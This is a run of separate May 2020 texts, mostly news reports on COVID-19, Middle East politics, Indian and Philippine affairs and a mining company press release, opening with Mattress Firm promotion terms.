0% APR: 5 years* with a minimum purchase of $2049, 4 years* with a minimum purchase of $1999, 3 years* with a minimum purchase of $1099, 2 years* with a minimum purchase of $999 on your Mattress Firm credit card. 60, 48, 36 or 24 equal monthly payments required. *Offer valid 4/29/2020-6/9/20. Qualifying purchase amount must be on one receipt. No interest will be charged, and equal monthly payments are required on promo purchase until it is paid in full. These payments equal the total promo purchase amount divided by the number of months in the promo period and rounded up to the next whole dollar. These payments may be higher than the payments that would be required if this purchase was a non-promo purchase. Any monthly payments shown in connection with this promotional offer exclude taxes and delivery and should allow you to pay off the promotional purchase within the promo period if (1) you make your payments by the due date each month and (2) this is the only balance on your account during the promo period. If you have other balances on your account, this monthly payment will be added to the minimum payment applicable to those balances. Regular account terms apply to non-promo purchases. Down payment equal to sales tax and delivery may be required at point of purchase. For new accounts: Purchase APR is 29.99%. Minimum interest charge is $2. Existing cardholders: See your credit card agreement terms. Subject to credit approval.

King For Queen or Queen for Twin:

Offer valid 4/29/20-5/26/20. Get select king-sized mattresses for the price of a queen-sized mattress. Or get select queen-sized mattresses for the price of a twin-sized mattress. Savings applied to our low price. Savings vary by mattress and model (max savings up to $500). Product selection may vary by store. Offer not valid on previous purchases, floor models, clearance items, final markdown, Purple, tulo, iComfort, Tempur-Pedic, Stearns & Foster, Sealy Hybrid, Nectar, DreamCloud, Tuft & Needle or Lull, other exclusions may apply. Limited quantities available; offer valid while supplies last. See store for complete details.

**Free Adjustable Base $699 (Q) $999 (K):

Offer valid 4/29/20-5/26/20. Receive a free Head Up 50 adjustable base (up to a $499.99 value) with select mattress purchases (free queen adjustable base with minimum $699 purchase or free king adjustable base with minimum $999 purchase). Free adjustable base offer valid on same-size mattress purchased. Split king or split California king base purchases consist of 2 bases. For split king or split California king purchases, consumer will receive one free adjustable base with promotion, with second base at regular price. Free adjustable base offer valid to complete mattress set, has no cash value and cannot be used as credit. Offer not valid on previous purchases, floor models, clearance items, final markdown, Purple, tulo, iComfort, Tempur-Pedic, Stearns & Foster, Sealy Hybrid, Nectar, DreamCloud, Tuft & Needle or Lull, other exclusions may apply. Adjustable bases not eligible for returns: price of adjustable base (up to $499.99) will be deducted from refund if mattress is returned. Adjustable base may be pictured with furniture; bed frame and headboard not included with offer. Limited quantities available; offer valid while supplies last at participating locations. See store for complete details.

***50% off Hot Buys:

Offer valid 5/15/20-5/26/20. Save 50% on: Serta Perfect Sleeper Charlotte, Sealy Maplewood, Sleepy's Snug, Doze and Curve models. One Hot Buy item each per household. Offer valid only on models indicated and while supplies last at participating locations only. Visit a store, call (877) 316-1269 or chat online for complete details.

****Purple Savings (Save up to $400):

Offer valid 5/8/2020-6/1/2020. Maximum savings of $400 requires purchase of Purple Hybrid Premier mattress and select Purple sleep accessory bundle. Save $200 on Purple Hybrid Premier, $150 on Purple Hybrid, or $100 off Purple mattresses ($50 off Twin and Twin XL). Plus save up to $200 on sleep accessories bundles: $200 off accessory bundle (2 Purple pillows, 1 Purple sheet set, and 1 Purple mattress protector). Must be purchased in the same transaction. Exclusions apply. See store associate for availability and details.

About Mattress Firm

Since 1986, Mattress Firm has made it easy to get a great night's sleep by providing our customers an expertly curated collection of quality mattresses from the best brands. Today, with more than 2,500 neighborhood stores, we strive to be America's most trusted authority on sleep by placing our customer at the center of everything we do. Our experts help more than three million people a year find the right solution for their sleep needs. Our selection of mattresses and bedding accessories include leading brands such as Serta, Simmons, Tempur-Pedic, tulo, Sleepy's, Chattam & Wells and Purple. Committed to serving our communities, the Mattress Firm Foster Kids program, in partnership with the Ticket to Dream Foundation, hosts three collection drives a year in communities nationwide to help foster children get better sleep so they can shape a better future. For more information, visit www.mattressfirm.com.

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By Parisa Hafezi

DUBAI (Reuters) - Iran's Supreme Leader on Friday denounced Israel as a "tumor" to be removed and hailed Tehran's supply of arms to Palestinians, drawing swift condemnation from the United States, European Union and Israel.

Opposition to Israel is a core belief for Shi'ite Muslim-led Iran. The Islamic Republic supports Palestinian and Lebanese armed groups opposed to peace with Israel, which Tehran refuses to recognize.

"The Zionist regime (Israel) is a deadly, cancerous tumor in the region. It will undoubtedly be uprooted and destroyed," Supreme Leader Ayatollah Ali Khamenei said in an online speech.

The United States and European Union rejected the comments.

U.S. Secretary of State Mike Pompeo on Twitter dismissed them as "disgusting and hateful anti-Semitic remarks" that did not represent the tradition of tolerance of ordinary Iranians.

EU foreign policy chief Josep Borrell said they were "totally unacceptable and represent a deep source of concern".

Although leaders of Palestinian militant groups in Gaza, including Hamas and Islamic Jihad, have frequently praised Iran's financial and military support, Khamenei had not himself previously given public confirmation of Tehran's weapons supply.

"Iran realised Palestinian fighters' only problem was lack of access to weapons. With divine guidance and assistance, we planned, and the balance of power has been transformed in Palestine, and today the Gaza Strip can stand against the aggression of the Zionist enemy and defeat it," he said.

Israeli Defence Minister and Alternate Prime Minister Benny Gantz said: "The State of Israel has great challenges in a variety of arenas. Khamenei's statement that Israel is a 'cancerous tumor' illustrates this more than anything."

He said on Facebook: "I do not suggest anyone to test us ...We will be prepared for all threats, and by any means."

Story continues

In a statement described as a response to Khamenei, Prime Minister Benjamin Netanyahu said: "Those that invoke the threat of destruction against Israel put themselves in similar danger."

RALLIES CANCELLED

Zeyad al-Nakhala, chief of Palestinian Islamic Jihad, which has publicly admitted getting Iranian arms and funds, praised Khamenei's comments. "We are ready for a long jihad and victory is granted," he said in remarks distributed by the group.

Iranian officials have repeatedly called for an end to Israel, including by a referendum that would exclude most of its Jews while including Palestinians in the region and abroad.

Khamenei suggested global attention on the coronavirus crisis had helped obscure wrongs done to Palestinians. "The long-lasting virus of Zionists will be eliminated," he added.

Khamenei was speaking on Iran's annual Quds Day, which uses the Arabic name for Jerusalem, held on the last Friday of the Muslim fasting month of Ramadan.

Iran cancelled nationwide Quds Day rallies due to coronavirus. Iran is one of the most affected countries in the region with 7,300 deaths and a total of 131,652 infections.

Khamenei also denounced what he called treason by "political and cultural mercenaries in Muslim countries" helping Zionists to downplay the Palestine issue, an apparent reference to some Arab states including Iran's regional rival Saudi Arabia.

(Additional reporting by Rami Ayyub in Tel Aviv, Nidal al-Mughrabi in Gaza and Dan Williams in Jerusalem; Writing by Parisa Hafezi; Editing by William Maclean/Mark Heinrich)
Metro Manila (CNN Philippines, May 21)  Several lawmakers on Friday urged the inter-agency body handling COVID-19 testing of returning overseas Filipino workers to address the reported bureaucratic delays in issuing clearances from quarantine facilities, leading to an excruciating wait for OFWs before they can go home to their families.

The solons said they have received numerous complaints from OFWs staying in their quarantine facilities for two months and counting, waiting for certification from the Philippine Coast Guard that they are are clear of COVID-19 and are allowed to go homes.

Over 9,100 OFWs are currently billeted in hotels and undergoing mandatory 14-day quarantine. The usual process is they have to take an RT-PCR test. The Philippine Red Cross processes the swabs then sends the results to the Philippine Coast Guard, which issues the certificates of completion. But officials during an online hearing by the House Committee on Overseas Workers Affairs admitted that there have been delays in the issuance of medical clearances.

Gabriela Partylist Rep. Arlene Brosas said that prolonging their stay in these facilities will increase their risk of acquiring the coronavirus.

Marvin, a resource person in the hearing, said he arrived in the country on April 24 from Dubai. He said he took a test early May and already found out he tested negative, but he has to stay in his designated quarantine facility because he still hasn't received his certificate. He also claimed that unscrupulous personnel are also asking for P500 for the release of the COVID-19 test results from Philippine Red Cross.

Bayan Muna Rep. Ferdinand Gaite criticized the red tape in the agencies that are supposed to be taking care of the welfare of the OFWs.

"We are adding layers of bureaucracy. Ang dami nang nagrereklamo. Huwag natin lagyan ng napakaraming bureaucratic red tape na pinahihirapan pa natin ang OFWs na makalabas na. Nadi-distress na sila. Let us help, let us not be barriers to assisting our OFWs," he said.

[Translation: There are so many complaints. We are adding layers of bureaucracy. Let's end the bureaucratic red tape that is adding to the burden to OFWs. Let us help them and let us not be the barriers in assisting OFWs.]

Overseas Workers Welfare Administration Administrator Hans Cacdac said they are addressing the issues. He added a new scheme is implemented in the PCG. Instead of waiting for a physical certificate, it will be made available online so the workers can print their own.

At least 28,000 overseas Filipinos have been repatriated to the country since the onset the pandemic. The Philippines is expecting up to 50,000 OFWs to come home this year.

CNN Philippines correspondent Tristan Nodalo contributed to this report.
For decades, economists generally viewed lower oil and gasoline prices as beneficial to the U.S. economy.

The reasoning was straightforward. In our consumer-driven economy, the less money Americans spent on gasoline, in particular, and energy in general, the more they had to buy big-screen TVs, go on vacations and dine at restaurants. Economists likened falling gasoline prices to a tax cut for U.S. households, helping to fuel discretionary purchases and economic growth.

The great technological breakthrough that opened U.S shale deposits to drilling, however, changed that relationship between oil prices and the U.S. economy. In a recent analysis, economists at the Federal Reserve Bank of Dallas argued that with the emergence of the United States as the worlds top producer, the plunge in oil prices this year has weakened our economy.

These findings could support efforts to send federal aid to the oil industry, which, like many others, has suffered from the virtual halt of economic activity caused by the coronavirus. The energy sector has been mostly bypassed by the stimulus money approved by Congress, and proposals to help energy companies  such as buying crude for the Strategic Petroleum Reserve  have met with fierce opposition.

Few industries have experienced the same kind of animus directed at the oil industry during this time of economic emergency. As lawmakers and policymakers have crafted rescue packages, the oil and gas industry has been deemed, for any number of reasons, as undeserving of help.

STILL WAITING: Trump struggels to bail out oil industry

But the issue of who is deserving of help, whether an oil company or a small business or an unemployed worker, is holding back efforts to save the economy. Right now, it would seem that getting money into hands of companies and people as quickly as possible to counteract the unprecedented collapse in demand is vital even if some of those hands are those of the politically incorrect oil industry, which happens to employ hundreds of thousands of workers.

Helicopter moment

Before he was named chairman of the Federal Reserve in 2006, Ben Bernanke became famous after giving a speech in which he suggested that in times of dire economic emergency, the government could essentially dump money from a helicopter to prevent the country from falling into the kind of spiral that led to the Great Depression.

Well, some 40 million U.S. workers have lost jobs in a matter of weeks. If thats not a helicopter moment, then what is?

For those workers and their families, for the companies that employ them, and for the U.S. economy that rises and falls with consumer spending, time is of the essence. Debates about whether the recipients of the helicopter money are deserving can wait until after the economy is out of danger and recovering.

FUEL FIX: Get energy news sent directly to your inbox

Invariably, well hear about the danger of deficits and debt and printing money  we already are. But as Bernanke warned during the Great Recession of 2007 to 2009 and Fed Chairman Jerome Powell is warning now, the damage from not providing enough support for the economy will be far greater than the costs of servicing the debt later.

So for the time being, it might be wise to put aside debates of whether oil and other industries are deserving of aid, and just look to the skies.

rob.gavin@chron.com

twitter.com/thefuelfixer
Two years have passed since the carnage.

The police force of the district of Thoothukudi in southern Tamil Nadu opened fire at a massive rally marking a hundred days of protest against the operations of a copper smelter owned by billionaire Anil Agarwal. With the death of 13 people and several others wounded, the shooting in May 2018 shook the national consciousness and pivoted debates around need-based manufacturing.

In the residence of late teenager Snowlin, a silent teardrop is shed. A sorrow that seemingly brushes aside all the socio-political context surrounding the killings of Thoothukudi and the multiple reasons advanced for it: a class undercurrent that swelled at the wrong time, corporate muscle-flexing, anti-social elements out to create trouble, and more. But, all that aside, the terrible human cost for the reopening of a copper smelter eclipses all the reasons advanced for the ghastly incident.

Families of the those killed in the shooting are holding memorials. In many places, posters with pictures of the deceased have come up. In May last year, the fishing community had held a memorial service for the dead in the same church that was a rallying point for protesters in their deathly march towards the district collector's office. For its part, Thoothukudi has been resilient in defending and holding up the memory of those slain in the shootout.

The Anil Agarwal-owned Vedanta has vigorously contested the closure of the factory. The Edappadi K Palaniswami government, relatively new in terms of months at the office, had hurriedly shuttered the factory five days after the police firing. The company has been fighting it legally, engaging a battery of lawyers, some of whom command great respect in the country's legal fraternity. As of now, the case is sub-judice at the Madras High Court, after lengthy adjudications at the National Green Tribunal and the Supreme Court.

Thoothukudi has been a port town for several years now, but age-old rivalries in caste and community have been quietly simmering beneath the surfaces of communal interactions. For the fishing community at least, the shooting has dealt a blow to the collective psyche as the losses were predominantly on their side. For their part, the police have been watchful ever since the incident tracking strangers in town and following the usual suspects.

For what it is worth, politicians have plumbed the depths of the issue in order to take on the state government's actions to douse passions related to the copper smelter and the protests. While the DMK has predictably held protests and staged demonstrations and public meetings, the role of actor-turned-politician Kamal Haasan has also been significant. He visited the site of the protests even before the massive hundredth-day rally. In social media posts and speeches, he has kept his torch burning on the copper smelter saga. In a tweet on Friday, Haasan strongly condemned the state's action and sent out a remembrance message for the people of Thoothukudi. MK Stalin, too, had put out a strong statement condemning the government.
Thunder Bay, Ontario--(Newsfile Corp. - May 22, 2020) - Clean Air Metals Inc. (TSXV: AIR) ("Clean Air" or the "Company") is pleased to announce that further to its press release of May 20 2020, effective at open today, trading in the common shares of Clean Air resumed on the TSX Venture Exchange ("TSXV") under the symbol "AIR". Clean Air is now listed on the TSXV as a Tier 2 "Mining Issuer" (as such term is defined in the policies of the TSXV).

Clean Air is also pleased to announce that in conjunction with the commencement of trading today, May 22, 2020, the Company has initiated the Phase 1 10,000m diamond drilling campaign on the Escape Lake Intrusion portion of its Thunder Bay North Project, located 40 km northeast of Thunder Bay, Ontario Canada (Figure 1).

Phase 1 drilling will consist of approximately 15-20 holes of 500-600m each, nominally on 50m centers is designed to test the Escape Lake High Grade Zone target discovered in 6 holes by the previous project Operator. The Company's QP is in the process of validating the historical drilling data at Escape Lake including relogging and resampling of selected core intercepts and performing QA/QC checks on original, certified analytical data. The target area is located at approximately 350-450m vertical depth and is open geologically. The objective of the program is to better define the full geological extent of the mineralized area as a precursor to future calculation of a mineral resource estimate.

Abraham Drost, CEO of Clean Air Metals Inc. stated that, "After completing a $15M financing in February, 2020 with a lead order by Mr. Eric Sprott, and on behalf of our Board of Directors led by Executive Chairman Jim Gallagher, former CEO of North American Palladium Ltd., and our technical and administrative team and shareholders, I am very gratified to be up and trading and commencing drill testing of the Escape Lake mineralized horizon. Mineralization at Thunder Bay North is preferentially enriched with the catalytic conversion pollution control metals palladium and platinum in a 1:1 ratio, with ancillary copper and nickel; metals powering the electric vehicle revolution."

Allan MacTavish, M.Sc., P.Geo. (Ontario) and employee of Clean Air Metals Inc. is a Qualified Person under the provisions of National Instrument 43-101 - Standards of Disclosure for Mineral Projects, and has reviewed and approved the technical content of this press release.

Clean Air has adopted COVID-19 avoidance and personal protection measures for its staff and service suppliers. Personnel are required to maintain physical distance, self-monitor and self-isolate or elect to work from home. Management has eliminated plans for a camp setup to service a planned diamond drill campaign on the Escape Lake Project. The Company is aware of Thunder Bay Health Unit guidelines that provide for "mandatory" self-isolation for returning overseas and inter-provincial travel. The guidelines also "strongly recommend" self-isolation after travel into the Northwest region from other areas of the Province. Mineral Exploration and Development has been deemed an essential service in the Province of Ontario (http://www.netnewsledger.com/2020/03/23/ontario-covid-19-business-allowed-to-remain-open-list-march-23-2020/). The Company has procured the services of a locally staffed and serviced diamond drilling contractor in order to commence the Phase 1 diamond drilling program.

The Company also announces that pursuant to a Form 3C "Certified Filing for Persons Conducting Investor Relations, Promotional or Market-Making Activities" with the TSX Venture Exchange, it has entered into an agreement (the "Agreement") to retain the services of Mr. Christopher Kaplan of Independent Trading Group ("ITG"). Mr. Kaplan will assist Clean Air in market making activities as Clean Air Metals Inc. (TSXV: AIR) resumes trading on the TSXV.

Under the terms of the Agreement, Mr. Kaplan will provide market making services to the Company for an initial six-month term commencing May 22, 2020, at a cost of $5,000 per month. The Agreement is subject to acceptance by the TSX Venture Exchange. Mr. Kaplan has a current Personal Information Form (PIF) filed with the TSXV.

Figure 1 Phase 1 and Future Phase 2 Use of Proceeds, Escape Lake Intrusion and Conduit





To view an enhanced version of Figure 1, please visit:

https://orders.newsfilecorp.com/files/6596/56383_c5904adfa4c32a69_001full.jpg

ON BEHALF OF THE BOARD OF DIRECTORS

"Abraham Drost"

Abraham Drost, Chief Executive Officer of Clean Air Metals Inc.

For further information, please contact:

Abraham Drost, Chief Executive Officer of Clean Air Metals Inc.

Phone: 807-252-7800

Email: adrost@cleanairmetals.ca

Website: www.cleanairmetals.ca

Clean Air Metals Inc. and its wholly-owned subsidiary Panoramic PGMs (Canada) Ltd. acknowledge that the Escape Lake Property is on the traditional territory of the Fort William First Nation and the Red Rock First Nation, signatories to the Robinson-Superior Treaty of 1850.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Note

The information contained herein contains "forward-looking statements" within the meaning of applicable securities legislation. Forward-looking statements relate to information that is based on assumptions of management, forecasts of future results, and estimates of amounts not yet determinable. Any statements that express predictions, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance are not statements of historical fact and may be "forward-looking statements." Forward-looking statements are subject to a variety of risks and uncertainties which could cause actual events or results to differ from those reflected in the forward-looking statements, including, without limitation: risks related to the TSXV approval, risk related to the failure to obtain adequate financing on a timely basis and on acceptable terms; risks related to the outcome of legal proceedings; political and regulatory risks associated with mining and exploration; risks related to the maintenance of stock exchange listings; risks related to environmental regulation and liability; the potential for delays in exploration or development activities or the completion of feasibility studies; the uncertainty of profitability; risks and uncertainties relating to the interpretation of drill results, the geology, grade and continuity of mineral deposits; risks related to the inherent uncertainty of production and cost estimates and the potential for unexpected costs and expenses; results of prefeasibility and feasibility studies, and the possibility that future exploration, development or mining results will not be consistent with the Company's expectations; risks related to commodity price fluctuations; and other risks and uncertainties related to the Company's prospects, properties and business detailed elsewhere in the Company's disclosure record. Should one or more of these risks and uncertainties materialize, or should underlying assumptions prove incorrect, actual results may vary materially from those described in forward-looking statements. Investors are cautioned against attributing undue certainty to forward-looking statements. These forward-looking statements are made as of the date hereof and the Company does not assume any obligation to update or revise them to reflect new events or circumstances, except in accordance with applicable securities laws. Actual events or results could differ materially from the Company's expectations or projections.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/56383
A business school professor at the $48,600-a-year Catholic University of America in Washington, D.C., has been suspended after students complained he made racist tweets about Barack Obama and Kamala Harris.

John Tieso, adjunct professor at the Universitys Busch School of Business was suspended this week after the school says it received complaints about the Twitter comments he made about Obama and Harris.

Tieso has fired back that he did not recall the criticism of Obama, when he made a 2018 trip to Africa, and that his comments about Harris were based on history.



He took his Twitter account down in the days leading up to this weeks suspension and insists it was never associated with the school, which is following up with an investigation, the College Fix reports.

The Twitter account was removed after a meeting with an administrator to discuss allegations of racially-charged speech earlier this month, a spokesperson for the school said.

One of the tweets, posted July 8, 2018, was a retweeted photo of former Obama and criticism of the former president for complaining about his wealth while visiting one of the poorest countries during a visit to Africa. The country is not named.

Tieso retweeted the photo and wrote in the caption Thats the Obama we all came to know and hate. Incredibly incompetent and vain. Perhaps he might consider staying in Africa and giving all his money to his people.

In a second, more recent tweet made on May 5, Tieso wrote about Harris. In the social media post, he described the US senator and former Democratic presidential candidate, whose parents are from Jamaica and India, as a former escort, the College Fix reports.

It was a reference to an accusation Harris has faced for most of her political career: that she dated Willie Brown, the former speaker of the California Assembly, a married man twice her age to get an edge on her entry into politics.

Details of the third tweet have not been made public.

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Coronavirus has put India's financial capital Mumbai on the global map in terms of the number of COVID-19 cases, which has crossed the 25,317-mark as per the latest data. In Maharashtra, the tally has risen to 41,642. This is highest in any state in the country.

The official data that came on Friday suggests Mumbai reported 1,382 new COVID-19 cases on Thursday, taking its overall tally to 25,317. As per official numbers from across world, Mumbai, which is home to around 2 crore people, has surpassed over 158 countries in terms of number of coronavirus cases.

Also read: Lockdown 4.0: What's allowed in Delhi, Mumbai red zones?

India saw a rise of more than 6,000 cases on Thursday.

The coronavirus data compiled by the US-based John Hopkins University & Medicine's Coronavirus Resource Center suggests that of total 188 nations that have been affected by the coronavirus pandemic, 158 countries have reported lesser number of cases than Mumbai alone.

There are only 29 nations now where coronavirus cases are more than Mumbai. The case tally in Mumbai has already surpassed countries like UAE (26,898), Ireland (24,391), Indonesia (20,148), Poland (20,143) and South Africa (19,137).

Other most-affected districts in Maharashtra are Thane (5,212) and Pune (4,646). These regions, including Mumbai, contribute to more than 84 per cent of cases in the state.

Also read: Coronavirus vaccine: Moderna, Inovio, Pfizer -- who will win the race?

The city surpassed New York in the US on May 9 in terms of daily rise in coronavirus cases. Notably, New York is the worst-hit in the world but the city seems to have overcome the peak. Total cases in New York stand at 1.9 lakh, including 28,743 deaths and 62,826 recoveries.

TOTAL NUMBER OF CASES IN INDIA (As of May 22)

The United States has reported maximum 15.7 lakh cases, followed by Russia with 3.17 lakh and Brazil with 3.1 lakh coronavirus cases, the John Hopkins University data suggests. The UK, Spain, Italy are also in the top 10 chart with 2.52 lakh, 2.33 lakh and 1.81 lakh cases, respectively. Due to sudden rise in the number of cases in the past couple of weeks, India's COVID-19 cases have spiked, taking it to 11th spot globally in terms of total cases, while surpassing countries like Peru, China, Canada and Saudi Arabia.

Also read: Coronavirus update: Moderna's COVID-19 vaccine shows positive results in early tests

India saw a rise of more than 6,000 cases and 148 deaths in a day for the first time on Thursday. Out of total 1,18,717 cases, 66,330 are active COVID-19 cases whereas 3,583 people have died, the health ministry website says. As many as 48,533 people have also been cured or discharged so far. India's COVID-19 recovery rate currently stands at 40.97 per cent. A total of 45,300 had recovered from novel coronavirus.
The mining industry and federal government ministers are confident that Chinese demand for Australian coal will remain strong due to its high quality, despite tense diplomatic relations and Chinese power stations being directed to source domestic coal instead .

As reports circulate among coal traders and analysts that the Chinese government has verbally directed five state-owned utilities not to source coal cargoes from Australia, industry representatives for Australia's top mining companies on Friday said they would work with authorities in both countries on import and export requirements.

Coal traders are reporting Chinese power plants have been verbally told not to buy Australian thermal coal. Credit:Sanghee Liu

"Australia's high-quality coal remains in demand in China and is helping fuel its cities and factories as the country recovers from the COVID-19 pandemic," Minerals Council of Australia chief executive Tania Constable said.

"Australian minerals companies will continue to work with Australian and Chinese authorities to meet all requirements."
New Delhi, May 22 : Doctors deployed in Covid-19 duty in all the Central and state government hospitals on Friday sported black arm bands while at work as a mark of protest.

The 'black ribbon protest' has been organised by the Federation of Resident Doctors Association (FORDA) India to express the medical professionals' disappointment over the revised guidelines for health workers posted in Covid areas, issued by the Union and state health departments.

Deep Chand Bandhu Government Hospital, Sanjay Gandhi Memorial Hospital, Lady Hardinge Medical College (LHMC), Ram Manohar Lohia (RML) Hospital and Lok Nayak Jai Prakash Narayan (LNJP) Hospital in the national capital are a few hospitals where the doctors are currently holding the protest by sporting black arm bands.

The organisers said that if the government does not pay attention to their issues, they will intensify the agitation.

Speaking to IANS, FORDA President Shivaji Dev Barman said, "Today's 'black ribbon protest' at work is for the justified demand for adequate quarantine and testing for all doctors and other healthcare workers who are on Covid-19 duty. Since the incubation period of the virus is 2-14 days and many asymptomatic patients are also testing positive, quarantine post duty is a necessity.

"It is necessary to stop the spread of the virus among the family members, colleagues and in the community. We urge the Union Health Minister to revisit the guidelines and make necessary amendments. We will have to intensify the agitation if the issues are not adequately addressed." The government on May 15 issued revised guidelines for the health workers wherein it removed with the mandatory quarantine clause for the health workers post Covid-19 duty, except for those who fit in the 'high risk exposure' criteria, thereby revoking the facility for all other doctors and healthcare workers on Covid-19 duty.

Padmini Singla, Delhi government's Health Secretary, also issued similar guidelines for the hospitals run by the Delhi government.

The doctors claimed that this has put the healthcare workers in a dilemma with remarkable consequences. Parv Mittal, RDA President at Maulana Azad Medical College and Associated Hospitals, told IANS: "The healthcare fraternity is fighting a war on two fronts today. One is the obvious (against Covid-19), the other is the fight for quarantine facilities. The new guidelines have augmented the mental stress of the Covid-19 warriors." "The symbolic protest is to register our grievances with the policymakers and urge them to reconsider the quarantine guidelines. Quarantine is a measure to prevent the transmission of the virus to our parents, children and the community at large. Let us not jeopardise the excellent work done by the government for containing the Covid-19 outbreak," he added.

Saksham Mittal, Joint Secretary of FORDA, and Treasurer of the RDA at RML Hospital, told IANS, "The recent guidelines do not consider the possibility of asymptotic carriers and the accidental exposure of a healthcare worker during the stressful conditions of Covid-19 duties. As the incubation period of the virus is 2-14 days, asking the healthcare workers to resume duty or go home the next day just increases the chance of transmitting the disease to our colleagues and family members.

"We need to safeguard doctors, one of the most important pillars of the frontline health workers to fight this pandemic. We demand 14-day quarantine in a quarantine facility." Echoing Mittal's views, Prateek Goel, General Secretary of the RDA at LNJP Hospital, told IANS, "This is to draw the attention of the Union government and the Delhi government so that they can withdraw the 'no quarantine' order. We don't want your 'Taali' and 'Thaali'. We want to serve the community for which we need proper 14 days of quarantine."
U.S. President Donald Trump announced yesterday that Washington would withdraw from the Open Skies Treaty, accusing Russia of repeated violations of the 18-year-old security agreement.

U.S. Secretary of State Mike Pompeo explained in a statement that the US decision on pulling out of the treaty would enter into force in six months from May 22.

Russian Deputy Foreign Minister Alexander Grushko said that Moscow will continue to comply with the Open Skies contract as long as it "remains in force."

"As long as the contract remains in effect, we intend to respect all rights and obligations that result," RIA Novosti cited the Russian deputy minister as saying.



He expressed confidence that other countries will follow the same approach as Russia.

The Treaty on Open Skies was signed in March 1992 in Helsinki by 23 member-nations of the Organization for Security and Cooperation in Europe (OSCE). It was drafted with Moscows active participation. According to the Russian Foreign Ministry, the treaty is a major tool of strengthening trust and security. The Open Skies main goals are to build transparency, render assistance in monitoring compliance with existing or future arms control agreements, broaden possibilities for preventing crises and managing crisis situations. The accord establishes a program of unarmed aerial surveillance flights over the entire territory of its participants. Now, the treaty has more than 30 signatory states. Russia ratified the Treaty on Open Skies on May 26, 2001.



For the past several years, Washington has been accusing Moscow of carrying out the accord in a selective manner and of violating some of its provisions. Russia has also put forward some objections regarding the way the United States has been implementing the agreement. In 2017, Washington imposed some restrictions on Russian observation flights over its territory. Moscow came up with a tit-for-tat response some time later.
The new coronavirus is believed to be spreading throughout Yemen where the health care system "has in effect collapsed", the United Nations said on Friday, appealing for urgent funding.

"Aid agencies in Yemen are operating on the basis that community transmission is taking place across the country," Jens Laerke, spokesman for the U.N. Office for the Coordination of Humanitarian Affairs (OCHA), told a Geneva briefing.

"We hear from many of them that Yemen is really on the brink right now. The situation is extremely alarming, they are talking about that the health system has in effect collapsed," he said.

Aid workers report having to turn people away because they do not have enough medical oxygen or sufficient supplies of personal protective equipment, Laerke said.

A flight carrying international aid workers landed in Aden on Thursday as air space opened up for rotations, but Yemeni nationals have been doing most of the on-site work, he said.

The main coronavirus treatment centre in southern Yemen has recorded at least 68 deaths in just over two weeks, Medecins Sans Frontieres (Doctors Without Borders), the medical charity running the site, said on Thursday.

The figure - more than double the toll announced by Yemeni authorities so far - suggested "a wider catastrophe unfolding in the city", MSF said.

War-ravaged Yemen, whose malnourished population has among the world's lowest immunity levels to disease, is divided between the Saudi-backed government based in Aden and its foe, the Iran-aligned Houthi group, in the north.

Yemeni authorities have reported 184 coronavirus infections including 30 deaths to the World Health Organization (WHO), the latest WHO figures showed overnight. "The actual incidence is almost certainly much higher," Laerke said.

The United Nations estimates that it will seek $2 billion for Yemen to maintain aid programmes through year-end, he added.

Laerke, noting that the world body and Saudi Arabia will co-host a virtual pledging conference in 10 days, said: "It is very, very critical that the international community steps up now and at the pledging conference on the 2nd of June, because we are heading towards a fiscal cliff.

"If we do not get the money coming in, the programmes that are keeping people alive, are very much essential to fighting back against COVID, will have to close," he said.

"And then the world will have to witness in a country what happens without a functioning health system battling COVID. I do not think the world wants to see that."

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Saudi Arabian MFA said it does not support Israeli actions aimed at occupying the West Bank and extending Israeli sovereignty to this territory, RG reported.

The Kingdom condemns any unilateral measures and any violations of UN Security Council resolutions, as well as anything that could undermine the chances of a resumption of the peace process and of achieving security and stability in the region, the Saudi news agency SPA reported.

The Saudi FM's statement also noted a firm stance on the fraternal Palestinian people and commitment to creating an independent Palestinian state with a capital in East Jerusalem. In addition, the Kingdom announced support for the negotiation process in accordance with international law.

Last week, Israeli Prime Minister Benjamin Netanyahu said that under the new government, he could take advantage of the Israeli law on Jewish settlements and the Jordan Valley in the occupied West Bank, where the Jewish nation was born and grew up.

On Wednesday, the international community criticized Israels plans to annex part of the West Bank by July.
An official of the minor opposition Minsaeng Party removes a banner in the party's meeting room at the National Assembly in Seoul, Friday. In the April 15 general election, the party failed to win a single seat, so it is not permitted to have an office or a meeting room within the main Assembly building of the for the 21st Assembly that will start on May 30. In the 20th Assembly, the party had 20 lawmakers. Yonhap
Hyderabad, May 22 : Chief Minister K. Chandrashekhar Rao on Friday announced that the film shootings, post-production works, which were stopped due to the lockdown, would be resumed in a phased manner.

At a meeting with prominent personalities at his official residence Pragati Bhavan, the Chief Minister suggested that everyone concerned follow the lockdown conditions and preventive measures to contain Covid-19 and conduct shootings strictly following the self-regulation.

Rao directed the officials concerned to prepare guidelines on how to conduct film shootings in the state.

KCR, as the Chief Minister is popularly known, felt that since lakhs of people are depending on the film industry, there was a need to allow the film shootings, post-production work, reopening of the theatres in a phased manner.

The CM suggested that initially, indoor production works with less number of people should be commenced. In the next phase, in June the film shootings can begin. Finally, based on the situation then, a decision on the film theatres' reopening can be taken.

He asked the film personalities to have a meeting with the Cinematography Minister, Chief Secretary and the officials concerned to finalise guidelines on how many people should be allowed to be part of the shootings and what precautions should be taken.

The government would subsequently issue categorical guidelines on the matter and give permission to the shootings. After a few days of shootings, an estimate can be made on the situation and then a decision on the reopening of the film theatres will be taken.

Ministers Talasani Srinivas Yadav, Niranjan Reddy, Chief Secretary Somesh Kumar, leading actors Chiranjeevi and Nagarjuna, well-known filmmakers D. Suresh Babu, Allu Aravind, N. Shankar, Rajamouli, Dil Raju, Trivikram Srinivas, Kiran, Radhakrishna, Koratala Siva, C. Kalyan, Meher Ramesh, Dhamu and others participated in the meeting.
Main opposition Congress on Friday protested the curbs imposed on paddy cultivation in parts of Haryana by the state government and claimed that it will deprive farmers from cultivating the crop in about 4.5 lakh acres of land.

Congress leaders led by party's chief spokesperson Randeep Singh Surjewalaand former MLA Anil Dhantori participated in a dharna at Shahabad and demanded immediate withdrawal of the order.

To maintain social distancing, only four leaders were invited to the symbolic protest, Dhantori said.

Later, the Congress leaders submitted a memorandum against the state government's decision to local sub-divisional magistrate, which was addressed to the governor.

Addressing reporters, Surjewala charged the BJP-JJP government of "working to destroy the farmers by depriving farmers of paddy cultivation".

